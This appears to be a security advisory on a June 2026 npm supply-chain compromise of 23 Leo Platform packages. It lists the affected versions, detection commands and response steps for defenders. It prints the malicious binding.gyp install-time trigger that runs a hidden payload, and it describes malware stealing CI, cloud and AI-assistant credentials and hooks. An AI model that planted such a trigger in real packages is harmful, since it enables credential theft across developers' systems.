CVE
Not assigned
CWE
CWE-506, CWE-494, CWE-829
Affected Surface
- 23 compromised Leo Platform npm packages published at `2026-06-24T23:04:52Z` through `2026-06-24T23:04:58Z`
- Developer workstations and CI runners that installed `leo-sdk@6.0.19`, `leo-logger@1.0.8`, the three poisoned prerelease connector packages, or the other listed malicious versions
- GitHub Actions environments holding `GITHUB_TOKEN`, OIDC credentials, npm publish rights, cloud credentials, SSH material, or password-manager secrets
The most important new package-compromise story in the last 24 hours is the Leo Platform npm incident disclosed on 25 June. This was not a one-off typo package or a single poisoned SDK line. Follow-up reporting now shows a coordinated burst across 23 Leo ecosystem package versions, all published in a six-second window on 24 June and all carrying the same install-time execution pattern previously seen in June’s broader Miasma wave.
The key reason to take this seriously is that the malicious code does not live in the normal application entrypoint path developers review during source inspection. The registry artifact for leo-sdk@6.0.19 adds a binding.gyp file that turns npm install itself into code execution through node-gyp, even though the package is otherwise a JavaScript library and does not need a native build step.
Affected packages
StepSecurity’s first disclosure covered the main Leo and RStreams set. Same-day follow-up analysis from Endor Labs extends the affected Leo list to 23 poisoned versions, including three prerelease connector artifacts. The synchronized publish timestamps make the set look like one automated registry operation rather than 23 unrelated package updates:
| Package | Malicious version |
|---|---|
leo-logger | 1.0.8 |
leo-sdk | 6.0.19 |
leo-aws | 2.0.4 |
leo-config | 1.1.1 |
leo-streams | 2.0.1 |
serverless-leo | 3.0.14 |
leo-connector-mongo | 3.0.8 |
serverless-convention | 2.0.4 |
rstreams-metrics | 2.0.2 |
leo-connector-elasticsearch | 2.0.6 |
leo-auth | 4.0.6 |
leo-cache | 1.0.2 |
leo-cli | 3.0.3 |
leo-cron | 2.0.2 |
leo-connector-redshift | 3.0.6 |
leo-connector-oracle | 2.0.1 |
rstreams-shard-util | 1.0.1 |
leo-connector-mysql | 3.0.3 |
leo-cdk-lib | 0.0.2 |
solo-nav | 1.0.1 |
leo-connector-common | 4.0.11-rc |
leo-connector-postgres | 4.0.19-beta |
leo-connector-entity-table | 3.0.22-rc |
If any of those exact versions were installed, treat the installing host as having executed attacker-controlled code.
Independent registry evidence
Even before reverse engineering the full payload, the npm artifacts themselves are enough to treat this as malicious.
First, the publish timing is not normal package maintenance activity. The npm metadata for leo-logger still records 1.0.8 at the exact reported compromise time:
leo-logger package time history
1.0.7 2025-01-23T18:53:22.317Z
1.0.8 2026-06-24T23:04:55.255Z
At the same time, npm view leo-logger versions no longer returns 1.0.8, which means the version history preserves the event even though the compromised release is no longer installable through the normal version index. That is exactly the kind of after-the-fact cleanup you expect during an active malware response.
Endor’s follow-up makes the second registry signal even worse: the actor did not only publish malicious versions, it also repointed leo-sdk’s latest dist-tag to the poisoned 6.0.19 line while leaving the clean 7.1.21 release available only under the awsv3 tag. Any environment that trusted npm install leo-sdk without an explicit semver pin was therefore steered toward the worm even if the legitimate 7.x release line still existed.
Second, the leo-sdk tarball changed shape in a way that clean JavaScript library releases do not:
leo-sdk@6.0.18
package size: 148.4 kB
unpacked size: 628.4 kB
root index.js: 10,358 bytes
binding.gyp: absent
leo-sdk@6.0.19
package size: 1.3 MB
unpacked size: 5.8 MB
root index.js: 5,188,098 bytes
binding.gyp: present
That is not a routine feature release. The clean 6.0.18 package ships a small root index.js and no native-build metadata. The compromised 6.0.19 package suddenly adds a binding.gyp trigger and inflates the root loader into a multi-megabyte obfuscated blob while leaving the rest of the Leo library tree in place.
The install hook is the real execution edge
The malicious binding.gyp in leo-sdk@6.0.19 is short enough to quote directly:
{
"targets": [
{
"target_name": "nothing",
"type": "none",
"sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
}
]
}
This is the same general Phantom Gyp trick used in the June 3 Miasma wave. The package does not need a preinstall or postinstall script in package.json. Instead, npm sees binding.gyp, invokes node-gyp rebuild, and the shell expansion in the sources array executes node index.js before echo stub.c hands a harmless fake source filename back to the build tooling.
The attack chain therefore looks like this:
npm install leo-sdk@6.0.19
-> node-gyp rebuild
-> /bin/sh -c "node index.js > /dev/null 2>&1 && echo stub.c"
-> node index.js
-> staged payload download / unpack
-> secret theft, workflow tampering, and propagation
From a defender’s perspective, this is why “no lifecycle scripts found” is not a meaningful safety conclusion for npm packages anymore.
Why the tarball delta matters
One of the strongest signals in Leo is that the malicious payload was bolted onto otherwise recognizable package contents. In leo-sdk, the legitimate library files, declarations, wrapper code, and connector modules are still present. The suspicious additions are concentrated in two places:
- a new root
binding.gypexecution trigger - a huge root
index.jsthat dwarfs the real package logic
That gives the operator two advantages:
- casual source review still sees normal Leo files
- API-level regression tests may still pass if the package’s exported behavior was not intentionally broken
This is the same supply-chain lesson defenders keep relearning in 2026: the registry artifact is the security boundary, not just the Git repository.
The connection to Miasma is in the execution primitive
StepSecurity ties the Leo wave to the earlier Miasma family based on structural fingerprints rather than branding alone. The reported overlap includes:
- the same Phantom Gyp
binding.gypshell-expansion trigger - the same three-stage obfuscation chain
- the same Bun runtime staging pattern
- the same GitHub-based exfiltration and dead-drop model
- the same npm propagation logic through stolen publish rights
Even without fully deobfuscating leo-sdk@6.0.19 here, the package-level evidence matches that family closely enough to matter operationally. The malicious release is not just “suspicious.” It is shaped like the same install-time worm toolkit that already hit @vapi-ai/server-sdk, ai-sdk-ollama, and related packages earlier this month.
New 25 June follow-up findings
The 25 June follow-up reporting matters because it turns the Leo story from a single-scope npm incident into a broader campaign snapshot.
First, Endor’s reverse engineering shows the Leo payload is no longer just after cloud credentials and registry tokens. Their decoded stealer layer includes dedicated collection for ANTHROPIC_API_KEY, plus scans of ~/.claude.json, ~/.claude/*, ~/.claude/projects/*, and ~/.claude/mcp.json. In other words, this wave is explicitly harvesting AI coding-assistant state in addition to the usual GitHub, npm, PyPI, RubyGems, Vault, and cloud credentials.
Second, the GitHub exfiltration workflow is now much clearer. Endor extracted the staging repo description string Alright Lets See If This Works and the commit marker RevokeAndItGoesKaboom, which gives defenders two concrete campaign-level search terms. Those strings also line up with Socket’s adjacent June 25 reporting on related GitHub Actions abuse, which suggests the same operator or tooling lineage is moving between poisoned registry artifacts and poisoned workflow components.
Third, Socket’s broader 25 June write-up shows the same payload family was not isolated to the Leo maintainer account. It also observed three additional npm artifacts published by llxlr:
hexo-deployer-wrangler@1.0.4hexo-shoka-swiper@0.1.10prism-silq@1.0.1
Socket further tied the same campaign to a poisoned source archive for github.com/verana-labs/verana-blockchain@v0.10.1-dev.20, where the trigger shifted from binding.gyp to IDE and AI-assistant config files such as .claude/setup.mjs and .vscode/tasks.json. That does not change the Leo package verdict, but it does change scoping: defenders should assume the attacker is pivoting across registry installs, source repositories, and developer-tool startup hooks as interchangeable initial-execution surfaces.
What installed hosts should assume
According to StepSecurity’s runtime and static analysis, the Leo payload targets the exact environments that tend to install these packages:
- GitHub Actions runners with
GITHUB_TOKENand workflow secrets - CI jobs that can mint or use cloud credentials
- workstations with npm tokens, SSH material, password-manager data, or developer API keys
- repositories where the runner can push workflow or helper-file modifications
The reported behavior goes well beyond simple environment-variable theft. The toolkit is designed to:
- scrape
Runner.Workermemory on GitHub Actions hosts - steal multi-cloud and registry credentials
- steal
ANTHROPIC_API_KEYvalues and Claude local state - exfiltrate through the victim’s own GitHub token and repositories
- republish newly compromised npm packages using discovered publish rights
- modify workflows to widen future access
That last point is the difference between a one-host compromise and a supply-chain event. The attacker is not only stealing secrets; they are trying to convert those secrets into more poisoned artifacts.
Detection and scoping
Start with version inventory:
for pkg in \
leo-logger leo-sdk leo-aws leo-config leo-streams serverless-leo \
leo-connector-mongo serverless-convention rstreams-metrics \
leo-connector-elasticsearch leo-auth leo-cache leo-cli leo-cron \
leo-connector-redshift leo-connector-oracle rstreams-shard-util \
leo-connector-mysql leo-cdk-lib solo-nav \
leo-connector-common leo-connector-postgres leo-connector-entity-table
do
npm ls "$pkg" 2>/dev/null
done
Then search lockfiles for the exact malicious versions:
rg -n \
"leo-logger@1\\.0\\.8|leo-sdk@6\\.0\\.19|leo-aws@2\\.0\\.4|leo-config@1\\.1\\.1|leo-streams@2\\.0\\.1|serverless-leo@3\\.0\\.14|leo-connector-mongo@3\\.0\\.8|serverless-convention@2\\.0\\.4|rstreams-metrics@2\\.0\\.2|leo-connector-elasticsearch@2\\.0\\.6|leo-auth@4\\.0\\.6|leo-cache@1\\.0\\.2|leo-cli@3\\.0\\.3|leo-cron@2\\.0\\.2|leo-connector-redshift@3\\.0\\.6|leo-connector-oracle@2\\.0\\.1|rstreams-shard-util@1\\.0\\.1|leo-connector-mysql@3\\.0\\.3|leo-cdk-lib@0\\.0\\.2|solo-nav@1\\.0\\.1|leo-connector-common@4\\.0\\.11-rc|leo-connector-postgres@4\\.0\\.19-beta|leo-connector-entity-table@3\\.0\\.22-rc" \
package-lock.json pnpm-lock.yaml yarn.lock npm-shrinkwrap.json
Inspect installed package trees or npm cache entries for the Phantom Gyp trigger:
rg -n '"<!\(node index\.js > /dev/null 2>&1 && echo stub\.c\)"' node_modules ~/.npm
And look for the package-shape anomaly that clean JavaScript libraries should not have:
rg -n '^binding\.gyp$' node_modules ~/.npm
On CI runners, review process and network telemetry for:
node-gyp rebuild in a package that should be pure JavaScript
node index.js launched from package install
Bun download or execution during npm install
reads of /proc/<pid>/mem targeting Runner.Worker
unexpected GitHub API writes after dependency installation
commit messages containing RevokeAndItGoesKaboom
new public repositories whose description is Alright Lets See If This Works
Response guidance
Treat installation of any affected version as host compromise, not just dependency drift.
- Isolate affected CI runners or workstations before rotating secrets.
- Preserve lockfiles, npm cache entries, runner logs, and package tarballs where possible.
- Rebuild from a clean lockfile and known-good package versions instead of editing
node_modulesin place. - Rotate GitHub, npm, cloud, SSH, password-manager, and API-provider credentials reachable from the host.
- Audit repositories and workflows that the affected host could write to, because the toolkit is designed to spread.
- Inspect developer-tool startup hooks such as
.claude/settings.json,.claude/setup.mjs,.cursor/,.vscode/tasks.json, and.github/copilot-instructions.mdfor persistence planted after the package install.
The main technical lesson is the same one June’s other npm worms keep driving home: the dangerous code may not be in package.json and may not be imported by the library at runtime. In the Leo incident, the security boundary failed at install time, through a binding.gyp file that should never have existed in the first place.
From research to remediation
Check whether this pattern exists in your codebase
Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.
References
- StepSecurity: Mass npm Supply Chain Attack: 20 Leo Platform Packages Compromised
- StepSecurity: Miasma npm supply chain attack via Phantom Gyp
- Endor Labs: Shai-Hulud Strikes Leo Platform npm
- Socket: Miasma Mini Shai-Hulud Hits LeoPlatform npm Packages and GitHub Actions, Expands to the Go Ecosystem
- npm registry metadata: leo-sdk@6.0.19
- npm registry metadata: leo-logger package history
- npm package page: leo-sdk
- CWE-506 Embedded Malicious Code
- CWE-494 Download of Code Without Integrity Check
- CWE-829 Inclusion of Functionality from Untrusted Control Sphere